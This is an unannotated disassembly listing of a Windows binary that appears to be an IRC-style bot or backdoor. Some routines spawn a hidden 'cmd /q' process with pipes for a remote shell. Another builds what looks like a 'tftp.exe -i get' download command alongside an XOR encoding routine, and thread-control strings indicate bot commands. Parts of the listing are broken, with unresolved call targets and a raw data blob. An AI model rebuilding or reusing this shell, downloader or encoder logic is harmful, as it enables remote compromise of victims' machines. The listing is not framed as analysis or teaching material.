S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4165C6 proc near ; CODE XREF: ___:0041562Fp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, [ebp+arg_0] push edi call sub_416717 imul edi, 234h mov esi, eax xor ebx, ebx mov eax, dword_4407FC[edi] mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [esi+0Ch], eax mov edi, dword_4240A0 pop ecx lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_4168E9 lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+10h], eax jnz short loc_416631 nop call near ptr 2650C0Ah push eax push offset dword_433914 call sub_40BFE1 or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx pop ecx jmp short loc_41666B ; --------------------------------------------------------------------------- loc_416631: ; CODE XREF: sub_4165C6+50j lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_41699B lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+14h], eax jnz short loc_416672 nop call near ptr 2650C0Ah push eax push offset dword_433914 call sub_40BFE1 pop ecx or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx push ebx push dword ptr [esi+14h] nop call near ptr 27D0906h loc_41666B: ; CODE XREF: sub_4165C6+69j xor eax, eax jmp loc_416712 ; --------------------------------------------------------------------------- loc_416672: ; CODE XREF: sub_4165C6+82j mov eax, [esi+10h] push 0FFFFFFFFh mov [ebp+var_18], eax mov eax, [esi+14h] mov [ebp+var_14], eax mov eax, [esi+8] mov [ebp+var_10], eax lea eax, [ebp+var_18] push ebx push eax push 3 call near ptr 27E072Eh nop sub eax, ebx jz short loc_4166CC dec eax jz short loc_4166C6 dec eax jz short loc_4166B2 nop call near ptr 2650C0Ah push eax push offset dword_4338D0 call sub_40BFE1 pop ecx pop ecx jmp short loc_4166E1 ; --------------------------------------------------------------------------- loc_4166B2: ; CODE XREF: sub_4165C6+D5j mov edi, dword_424168 push ebx push dword ptr [esi+14h] call edi push ebx push dword ptr [esi+10h] call edi jmp short loc_4166E1 ; --------------------------------------------------------------------------- loc_4166C6: ; CODE XREF: sub_4165C6+D2j push ebx push dword ptr [esi+10h] jmp short loc_4166D0 ; --------------------------------------------------------------------------- loc_4166CC: ; CODE XREF: sub_4165C6+CFj push ebx push dword ptr [esi+14h] loc_4166D0: ; CODE XREF: sub_4165C6+104j nop call near ptr 27D0906h push 1 push dword ptr [esi+8] nop call near ptr 27D0B2Ah loc_4166E1: ; CODE XREF: sub_4165C6+EAj ; sub_4165C6+FEj push dword ptr [esi+10h] mov edi, dword_424078 call edi push dword ptr [esi+14h] call edi push dword ptr [esi+8] call edi push dword ptr [esi] call edi push dword ptr [esi+4] call edi push dword ptr [esi+0Ch] call dword_43AE30 push esi call sub_417C3B pop ecx push 1 pop eax loc_416712: ; CODE XREF: sub_4165C6+A7j pop edi pop esi pop ebx leave retn sub_4165C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416717 proc near ; CODE XREF: sub_4165C6+Dp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi xor edi, edi push 18h mov [ebp+var_4], edi mov [ebp+var_8], edi call sub_417B89 mov esi, eax pop ecx cmp esi, edi jz loc_416801 mov ebx, dword_424140 lea eax, [ebp+var_14] push edi push eax lea eax, [ebp+var_8] mov [esi], edi push eax mov [esi+4], edi push esi mov [ebp+var_14], 0Ch mov [ebp+var_10], edi mov [ebp+var_C], 1 call ebx mov edi, dword_424078 test eax, eax jnz short loc_41677A nop call near ptr 2650C0Ah push eax push offset dword_4339F4 jmp short loc_41679A ; --------------------------------------------------------------------------- loc_41677A: ; CODE XREF: sub_416717+53j lea eax, [ebp+var_14] push 0 push eax lea eax, [esi+4] push eax lea eax, [ebp+var_4] push eax call ebx test eax, eax jnz short loc_4167A2 nop call near ptr 2650C0Ah push eax push offset dword_4339A4 loc_41679A: ; CODE XREF: sub_416717+61j call sub_40BFE1 pop ecx jmp short loc_4167D0 ; --------------------------------------------------------------------------- loc_4167A2: ; CODE XREF: sub_416717+75j push [ebp+arg_0] push [ebp+var_8] push [ebp+var_4] call sub_416810 add esp, 0Ch mov [esi+8], eax push [ebp+var_4] call edi push [ebp+var_8] call edi cmp dword ptr [esi+8], 0 jnz short loc_416805 push offset dword_43396C call sub_40BF6D loc_4167D0: ; CODE XREF: sub_416717+89j cmp [ebp+var_4], 0 pop ecx jz short loc_4167DC push [ebp+var_4] call edi loc_4167DC: ; CODE XREF: sub_416717+BEj cmp [ebp+var_8], 0 jz short loc_4167E7 push [ebp+var_8] call edi loc_4167E7: ; CODE XREF: sub_416717+C9j mov eax, [esi] test eax, eax jz short loc_4167F0 push eax call edi loc_4167F0: ; CODE XREF: sub_416717+D4j mov eax, [esi+4] test eax, eax jz short loc_4167FA push eax call edi loc_4167FA: ; CODE XREF: sub_416717+DEj push esi call sub_417C3B pop ecx loc_416801: ; CODE XREF: sub_416717+1Dj xor eax, eax jmp short loc_41680B ; --------------------------------------------------------------------------- loc_416805: ; CODE XREF: sub_416717+ADj or dword ptr [esi+0Ch], 0FFFFFFFFh mov eax, esi loc_41680B: ; CODE XREF: sub_416717+ECj pop edi pop esi pop ebx leave retn sub_416717 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416810 proc near ; CODE XREF: sub_416717+94p var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi push 44h pop edi xor esi, esi push edi lea eax, [ebp+var_58] push esi push eax mov [ebp+var_4], esi call sub_417330 push 10h lea eax, [ebp+var_14] push esi push eax call sub_417330 mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] add esp, 18h mov [ebp+var_20], eax lea eax, [ebp+var_18] mov [ebp+var_58], edi mov edi, dword_42413C push esi push 1 push 2 push eax mov [ebp+var_54], esi mov [ebp+var_4C], esi mov [ebp+var_50], esi mov [ebp+var_3C], esi mov [ebp+var_40], esi mov [ebp+var_44], esi mov [ebp+var_48], esi mov [ebp+var_28], si mov [ebp+var_24], esi mov [ebp+var_26], si mov [ebp+var_2C], 101h mov [ebp+var_1C], ebx call edi push eax push ebx call edi push eax call near ptr 2780841h nop lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push esi push 1 push esi push esi push offset aCmdQ ; "cmd /q" push esi call near ptr 276050Eh nop test eax, eax jz short loc_4168CC mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] imul eax, 234h push [ebp+var_10] mov esi, [ebp+var_14] mov dword_4407F8[eax], ecx nop call near ptr 26318FCh jmp short loc_4168E2 ; --------------------------------------------------------------------------- loc_4168CC: ; CODE XREF: sub_416810+9Aj nop call near ptr 2650C0Ah push eax push offset dword_433A44 call sub_40BFE1 mov esi, [ebp+var_4] pop ecx pop ecx loc_4168E2: ; CODE XREF: sub_416810+BAj mov eax, esi pop edi pop esi pop ebx leave retn sub_416810 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4168E9 proc near ; DATA XREF: sub_4165C6+3Fo var_1B0 = byte ptr -1B0h var_C8 = byte ptr -0C8h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx push esi mov ebx, dword_424074 push edi mov edi, [ebp+arg_0] lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] loc_416912: ; CODE XREF: sub_4168E9+8Fj call ebx test eax, eax jz short loc_41697A xor eax, eax xor dl, dl xor esi, esi cmp [ebp+arg_0], eax jbe short loc_41694D loc_416923: ; CODE XREF: sub_4168E9+62j mov cl, [ebp+esi+var_C8] cmp cl, 0Ah jnz short loc_41693D cmp dl, 0Dh jz short loc_41693D mov [ebp+eax+var_1B0], 0Dh inc eax loc_41693D: ; CODE XREF: sub_4168E9+44j ; sub_4168E9+49j mov [ebp+eax+var_1B0], cl inc eax inc esi mov dl, cl cmp esi, [ebp+arg_0] jb short loc_416923 loc_41694D: ; CODE XREF: sub_4168E9+38j push 0 push eax lea eax, [ebp+var_1B0] push eax push dword ptr [edi+0Ch] call dword_43ADE8 test eax, eax jle short loc_41697A lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] jmp short loc_416912 ; --------------------------------------------------------------------------- loc_41697A: ; CODE XREF: sub_4168E9+2Dj ; sub_4168E9+79j mov esi, dword_42408C call esi cmp eax, 6Dh jz short loc_416996 call esi push eax push offset dword_433A90 call sub_40BFE1 pop ecx pop ecx loc_416996: ; CODE XREF: sub_4168E9+9Cj pop edi pop esi pop ebx leave retn sub_4168E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41699B proc near ; DATA XREF: sub_4165C6+71o var_DC = byte ptr -0DCh var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DCh push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_0] xor esi, esi mov [ebp+var_10], ebx mov [ebp+var_C], ebx loc_4169B4: ; CODE XREF: sub_41699B+39j ; sub_41699B+D7j ... push ebx lea eax, [ebp+arg_0+3] push 1 push eax push dword ptr [edi+0Ch] call dword_43ADB0 test eax, eax jle loc_416AB9 cmp [ebp+var_10], ebx jbe short loc_4169D6 dec [ebp+var_10] jmp short loc_4169B4 ; --------------------------------------------------------------------------- loc_4169D6: ; CODE XREF: sub_41699B+34j mov al, byte ptr [ebp+arg_0+3] movsx ecx, al cmp ecx, 0FFh jz loc_416A99 cmp al, 8 mov [ebp+var_C], ebx jz short loc_416A46 cmp al, 7Fh jz short loc_416A46 cmp al, 3 jnz short loc_416A01 push ebx push ebx nop call near ptr 27E07EAh jmp short loc_416A6D ; --------------------------------------------------------------------------- loc_416A01: ; CODE XREF: sub_41699B+5Aj cmp al, 15h jnz short loc_416A23 xor esi, esi mov [ebp+var_8], 20h mov [ebp+var_7], 58h mov [ebp+var_6], 58h mov [ebp+var_5], 58h mov [ebp+var_4], 0Dh mov [ebp+var_3], 0Ah push 6 jmp short loc_416A59 ; --------------------------------------------------------------------------- loc_416A23: ; CODE XREF: sub_41699B+68j mov [ebp+esi+var_DC], al inc esi push 1 cmp al, 0Dh mov [ebp+var_8], al pop ecx jnz short loc_416A5A mov [ebp+esi+var_DC], 0Ah mov [ebp+var_7], 0Ah inc esi push 2 jmp short loc_416A59 ; --------------------------------------------------------------------------- loc_416A46: ; CODE XREF: sub_41699B+52j ; sub_41699B+56j cmp esi, ebx jbe short loc_416A70 dec esi mov [ebp+var_8], 8 mov [ebp+var_7], 20h mov [ebp+var_6], 8 push 3 loc_416A59: ; CODE XREF: sub_41699B+86j ; sub_41699B+A9j pop ecx loc_416A5A: ; CODE XREF: sub_41699B+98j push ebx lea eax, [ebp+var_8] push ecx push eax push dword ptr [edi+0Ch] call dword_43ADE8 test eax, eax jle short loc_416AB9 loc_416A6D: ; CODE XREF: sub_41699B+64j mov al, byte ptr [ebp+arg_0+3] loc_416A70: ; CODE XREF: sub_41699B+ADj cmp al, 0Dh jnz loc_4169B4 lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_DC] push esi push eax push dword ptr [edi+4] call near ptr 2640000h nop test eax, eax jz short loc_416AB9 xor esi, esi jmp loc_4169B4 ; --------------------------------------------------------------------------- loc_416A99: ; CODE XREF: sub_41699B+47j cmp [ebp+var_C], ebx jnz short loc_416AAA mov [ebp+var_C], 1 jmp loc_4169B4 ; --------------------------------------------------------------------------- loc_416AAA: ; CODE XREF: sub_41699B+101j mov [ebp+var_10], 0Ah mov [ebp+var_C], ebx jmp loc_4169B4 ; --------------------------------------------------------------------------- loc_416AB9: ; CODE XREF: sub_41699B+2Bj ; sub_41699B+D0j ... pop edi pop esi pop ebx leave retn sub_41699B endp ; =============== S U B R O U T I N E ======================================= sub_416ABE proc near ; CODE XREF: sub_416ADE+Ap ; sub_416BB6+8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_417AB0 push [esp+8+arg_4] mov esi, eax call sub_417AB0 pop ecx lea eax, [esi+eax*2+0C1h] pop ecx pop esi retn sub_416ABE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416ADE proc near ; CODE XREF: sub_416BCD+49p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push [ebp+arg_C] push [ebp+arg_8] call sub_416ABE cmp eax, [ebp+arg_4] pop ecx pop ecx mov [ebp+var_4], eax jbe short loc_416AFB xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_416AFB: ; CODE XREF: sub_416ADE+17j push ebx push esi push edi push [ebp+arg_8] call sub_417AB0 push [ebp+arg_C] mov esi, eax call sub_417AB0 mov edi, eax mov ebx, [ebp+arg_0] push 0FFFFFFEDh lea eax, [edi+esi+12h] mov dword_433B70, eax lea eax, [edi+1] mov dword_433B91, eax lea eax, [edi+17h] mov dword_433B89, eax pop eax push 74h sub eax, edi push offset dword_433B0C push ebx mov dword_433B9F, eax call sub_417390 push esi lea eax, [ebx+74h] push [ebp+arg_8] push eax call sub_417390 add esi, 74h push 5 push (offset aTftp_exeIGet+0Ch) lea eax, [esi+ebx] push eax call sub_417390 add esi, 5 push edi push [ebp+arg_C] lea eax, [esi+ebx] push eax call sub_417390 add esi, edi push 10h push (offset aTftp_exeIGet+11h) lea eax, [esi+ebx] push eax call sub_417390 add esp, 44h add esi, 10h push edi lea eax, [esi+ebx] push [ebp+arg_C] push eax call sub_417390 add esi, edi push 38h add esi, ebx push offset byte_433B95 push esi call sub_417390 mov eax, [ebp+var_4] add esp, 18h pop edi pop esi pop ebx leave retn sub_416ADE endp ; =============== S U B R O U T I N E ======================================= sub_416BB6 proc near ; CODE XREF: sub_416BCD+Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_416ABE push eax call sub_416C3A add esp, 0Ch retn sub_416BB6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416BCD proc near ; CODE XREF: sub_402B84+32p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_8] push edi mov edi, [ebp+arg_C] push edi push ebx call sub_416BB6 cmp eax, [ebp+arg_4] pop ecx pop ecx ja short loc_416BED cmp eax, 0FFFFh jbe short loc_416BF1 loc_416BED: ; CODE XREF: sub_416BCD+17j xor eax, eax jmp short loc_416C36 ; --------------------------------------------------------------------------- loc_416BF1: ; CODE XREF: sub_416BCD+1Ej push esi push edi push ebx call sub_416ABE add eax, 101h push eax call sub_417B89 add esp, 0Ch mov esi, eax push edi push ebx push edi push ebx call sub_416ABE pop ecx pop ecx push eax push esi call sub_416ADE push eax push esi push [ebp+arg_4] push [ebp+arg_0] call sub_416C55 push esi mov edi, eax call sub_417C3B add esp, 24h mov eax, edi pop esi loc_416C36: ; CODE XREF: sub_416BCD+22j pop edi pop ebx pop ebp retn sub_416BCD endp ; =============== S U B R O U T I N E ======================================= sub_416C3A proc near ; CODE XREF: sub_416BB6+Ep ; sub_416C55+4Ap arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test cl, cl jnz short loc_416C43 inc ecx loc_416C43: ; CODE XREF: sub_416C3A+6j mov eax, 0FFh cmp eax, ecx sbb eax, eax and eax, 2 add eax, 15h add eax, ecx retn sub_416C3A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416C55 proc near ; CODE XREF: sub_416BCD+56p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx cmp byte ptr [ebp+arg_C], 0Ah jz short loc_416C71 cmp byte ptr [ebp+arg_C], 0Dh jz short loc_416C71 cmp byte ptr [ebp+arg_C], 5Ch jz short loc_416C71 cmp byte ptr [ebp+arg_C], 0 jnz short loc_416C74 loc_416C71: ; CODE XREF: sub_416C55+8j ; sub_416C55+Ej ... inc [ebp+arg_C] loc_416C74: ; CODE XREF: sub_416C55+1Aj push esi mov esi, 0FFh cmp [ebp+arg_C], esi jbe short loc_416C9C mov eax, [ebp+arg_C] shr eax, 8 cmp al, 0Ah jz short loc_416C95 cmp al, 0Dh jz short loc_416C95 cmp al, 5Ch jz short loc_416C95 test al, al jnz short loc_416C9C loc_416C95: ; CODE XREF: sub_416C55+32j ; sub_416C55+36j ... add [ebp+arg_C], 100h loc_416C9C: ; CODE XREF: sub_416C55+28j ; sub_416C55+3Ej push [ebp+arg_C] call sub_416C3A cmp eax, [ebp+arg_4] pop ecx mov [ebp+var_4], eax ja short loc_416CB4 cmp eax, 0FFFFh jbe short loc_416CBB loc_416CB4: ; CODE XREF: sub_416C55+56j xor eax, eax jmp loc_416D59 ; --------------------------------------------------------------------------- loc_416CBB: ; CODE XREF: sub_416C55+5Dj mov ecx, [ebp+arg_C] push ebx mov bl, byte_4CD988 xor edx, edx push edi mov edi, [ebp+arg_8] test ecx, ecx jbe short loc_416CEB loc_416CCF: ; CODE XREF: sub_416C55+94j mov al, [edx+edi] xor al, bl jz short loc_416CE2 cmp al, 0Ah jz short loc_416CE2 cmp al, 0Dh jz short loc_416CE2 cmp al, 5Ch jnz short loc_416CE6 loc_416CE2: ; CODE XREF: sub_416C55+7Fj ; sub_416C55+83j ... inc bl xor edx, edx loc_416CE6: ; CODE XREF: sub_416C55+8Bj inc edx cmp edx, ecx jb short loc_416CCF loc_416CEB: ; CODE XREF: sub_416C55+78j cmp ecx, esi mov byte_4CD988, bl ja short loc_416D17 push 15h push offset loc_433AF4 push [ebp+arg_0] mov byte_433B01, cl mov byte_433B05, bl call sub_417390 add esp, 0Ch push 15h jmp short loc_416D38 ; --------------------------------------------------------------------------- loc_416D17: ; CODE XREF: sub_416C55+9Ej push 17h push offset loc_433ADC push [ebp+arg_0] mov word_433AEA, cx mov byte_433AEF, bl call sub_417390 add esp, 0Ch push 17h loc_416D38: ; CODE XREF: sub_416C55+C0j xor eax, eax pop ecx cmp [ebp+arg_C], eax jbe short loc_416D54 mov edx, [ebp+arg_0] lea esi, [ecx+edx] loc_416D46: ; CODE XREF: sub_416C55+FDj mov cl, [eax+edi] xor cl, bl mov [esi+eax], cl inc eax cmp eax, [ebp+arg_C] jb short loc_416D46 loc_416D54: ; CODE XREF: sub_416C55+E9j mov eax, [ebp+var_4] pop edi pop ebx loc_416D59: ; CODE XREF: sub_416C55+61j pop esi leave retn sub_416C55 endp ; =============== S U B R O U T I N E ======================================= sub_416D5C proc near ; CODE XREF: sub_4060D0+227p ; sub_407252+F0p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_4405F0 loc_416D64: ; CODE XREF: sub_416D5C+18j cmp byte ptr [eax], 0 jz short loc_416D78 add eax, 234h inc edi cmp eax, offset dword_4CD5F0 jl short loc_416D64 jmp short loc_416DC3 ; --------------------------------------------------------------------------- loc_416D78: ; CODE XREF: sub_416D5C+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_4405F0[esi] push eax call sub_418C10 mov eax, [esp+14h+arg_4] add esp, 0Ch mov dword_4407F0[esi], eax and dword_4407F4[esi], 0 mov eax, [esp+8+arg_8] and dword_4407F8[esi], 0 mov dword_4407FC[esi], eax and byte_440808[esi], 0 pop esi loc_416DC3: ; CODE XREF: sub_416D5C+1Aj mov eax, edi pop edi retn sub_416D5C endp ; --------------------------------------------------------------------------- byte_416DC7 db 55h ; DATA XREF: sub_40EE72+5C01o dd 0EC81EC8Bh, 98h, 5608458Bh, 59266A57h, 0BD8DF08Bh, 0FFFFFF68h dd 75FFA5F3h, 9480C7F0h, 1000000h, 8D000000h, 0FFFF6C85h dd 0F475FFFFh, 68B5FF50h, 0E8FFFFFFh, 15h, 0E8EC75FFh dd 26Ch, 6A14C483h, 953AE800h, 5F90021Fh, 0EC8B555Eh, 200EC81h dd 57560000h, 75FF006Ah, 3BD06810h, 75FF0043h, 875FF0Ch dd 0FF6840E8h, 14C483FFh, 0F0BEFF33h, 80004405h, 3C74003Eh dd 147D83h, 0BE830975h, 204h, 562D7500h, 858D57h, 68FFFFFEh dd 43254Ch, 446E850h, 16A0000h, 0FE00858Dh, 75FFFFFFh dd 75FF5010h, 875FF0Ch, 0FF67F8E8h, 24C483FFh, 234C681h dd 81470000h, 4CD5F0FEh, 5FB07C00h ; --------------------------------------------------------------------------- pop esi leave retn ; =============== S U B R O U T I N E ======================================= sub_416E97 proc near ; CODE XREF: sub_40EE72+4DD9p ; sub_416F25+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_416F1F cmp esi, 400h jge short loc_416F1F imul esi, 234h push edi push ebx push dword_440804[esi] lea edi, dword_440804[esi] nop call near ptr 27D0906h cmp [edi], ebx jz short loc_416ECF push 1 pop ebp loc_416ECF: ; CODE XREF: sub_416E97+33j mov [edi], ebx lea edi, dword_4407F8[esi] mov dword_4407F0[esi], ebx mov dword_4407F4[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_416EF0 push eax call sub_415419 pop ecx loc_416EF0: ; CODE XREF: sub_416E97+50j mov [edi], ebx lea edi, dword_4407FC[esi] mov byte ptr dword_4405F0[esi], bl mov byte_440808[esi], bl push dword ptr [edi] call dword_43AE30 lea esi, dword_440800[esi] mov [edi], ebx push dword ptr [esi] call dword_43AE30 mov [esi], ebx pop edi loc_416F1F: ; CODE XREF: sub_416E97+Dj ; sub_416E97+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_416E97 endp ; =============== S U B R O U T I N E ======================================= sub_416F25 proc near ; CODE XREF: sub_40AC42:loc_40AC66p ; sub_40D3A5+18p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_4405F0 loc_416F31: ; CODE XREF: sub_416F25+2Aj cmp byte ptr [esi], 0 jz short loc_416F42 push edi call sub_416E97 test eax, eax pop ecx jz short loc_416F42 inc ebx loc_416F42: ; CODE XREF: sub_416F25+Fj ; sub_416F25+1Aj add esi, 234h inc edi cmp esi, offset dword_4CD5F0 jl short loc_416F31 pop edi mov eax, ebx pop esi pop ebx retn sub_416F25 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416F57 proc near ; CODE XREF: sub_40EE72+1E3Dp ; sub_40EE72+1EABp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_4407F4 loc_416F6B: ; CODE XREF: sub_416F57+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_416F8D test edi, edi jle short loc_416F7F cmp [esi], edi jz short loc_416F7F cmp ebx, edi jnz short loc_416F8D loc_416F7F: ; CODE XREF: sub_416F57+1Ej ; sub_416F57+22j push ebx call sub_416E97 test eax, eax pop ecx jz short loc_416F8D inc [ebp+var_4] loc_416F8D: ; CODE XREF: sub_416F57+1Aj ; sub_416F57+26j ... add esi, 234h inc ebx cmp esi, offset dword_4CD7F4 jl short loc_416F6B mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_416F57 endp ; =============== S U B R O U T I N E ======================================= sub_416FA4 proc near ; CODE XREF: sub_4071DB+Bp ; sub_407252+2Dp ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_4407F0 loc_416FAB: ; CODE XREF: sub_416FA4+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_416FB4 inc eax loc_416FB4: ; CODE XREF: sub_416FA4+Dj add ecx, 234h cmp ecx, offset dword_4CD7F0 jl short loc_416FAB retn sub_416FA4 endp ; =============== S U B R O U T I N E ======================================= sub_416FC3 proc near ; CODE XREF: sub_40EE72+5698p arg_0 = dword ptr 4 xor eax, eax push esi xor edx, edx mov ecx, offset dword_4407F0 loc_416FCD: ; CODE XREF: sub_416FC3+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_416FE6 add ecx, 234h inc edx cmp ecx, offset dword_4CD7F0 jl short loc_416FCD pop esi retn ; --------------------------------------------------------------------------- loc_416FE6: ; CODE XREF: sub_416FC3+10j mov eax, edx pop esi retn sub_416FC3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416FEA proc near ; CODE XREF: sub_40EE72+1070p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_417003 push [ebp+arg_1C] call sub_41781F pop ecx loc_417003: ; CODE XREF: sub_416FEA+Ej push eax push [ebp+arg_18] call sub_416F57 pop ecx test eax, eax pop ecx jle short loc_41702F push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s) stopped.)"... push eax call sub_4172B0 add esp, 14h jmp short loc_417049 ; --------------------------------------------------------------------------- loc_41702F: ; CODE XREF: sub_416FEA+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s: No %s thread found." push eax call sub_4172B0 add esp, 10h loc_417049: ; CODE XREF: sub_416FEA+43j cmp [ebp+arg_C], 0 jnz short loc_417069 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_417069: ; CODE XREF: sub_416FEA+63j lea eax, [ebp+var_200] push eax call sub_40BF6D pop ecx leave retn sub_416FEA endp ; =============== S U B R O U T I N E ======================================= sub_417078 proc near ; CODE XREF: sub_401000+A5p ; sub_40144A+8Dp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov dword_440804[eax], ecx mov dword_4407F0[eax], ecx mov dword_4407F4[eax], ecx mov dword_4407F8[eax], ecx mov dword_4407FC[eax], ecx mov dword_440800[eax], ecx mov byte ptr dword_4405F0[eax], cl mov byte_440808[eax], cl retn sub_417078 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4170B5 proc near ; CODE XREF: sub_40EE72+6189p ; sub_4171E3+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push 1 pop eax loc_4170BF: ; CODE XREF: sub_4170B5+68j mov cl, [esi] test cl, cl jz short loc_41711F cmp eax, 1 jnz short loc_41711F mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_41711F cmp cl, 2Ah jz short loc_417106 cmp cl, 3Fh jz short loc_4170E9 cmp cl, 5Bh jz short loc_4170EE xor eax, eax cmp cl, dl setz al loc_4170E9: ; CODE XREF: sub_4170B5+26j inc [ebp+arg_4] jmp short loc_417119 ; --------------------------------------------------------------------------- loc_4170EE: ; CODE XREF: sub_4170B5+2Bj lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_41714B mov esi, [ebp+arg_0] pop ecx pop ecx jmp short loc_417119 ; --------------------------------------------------------------------------- loc_417106: ; CODE XREF: sub_4170B5+21j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_4171E3 mov esi, [ebp+arg_0] pop ecx pop ecx dec esi loc_417119: ; CODE XREF: sub_4170B5+37j ; sub_4170B5+4Fj inc esi mov [ebp+arg_0], esi jmp short loc_4170BF ; --------------------------------------------------------------------------- loc_41711F: ; CODE XREF: sub_4170B5+Ej ; sub_4170B5+13j ... cmp byte ptr [esi], 2Ah jnz short loc_41712F cmp eax, 1 jnz short loc_417146 inc esi mov [ebp+arg_0], esi jmp short loc_41711F ; --------------------------------------------------------------------------- loc_41712F: ; CODE XREF: sub_4170B5+6Dj cmp eax, 1 jnz short loc_417146 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_417146 cmp byte ptr [esi], 0 jnz short loc_417146 push 1 pop eax jmp short loc_417148 ; --------------------------------------------------------------------------- loc_417146: ; CODE 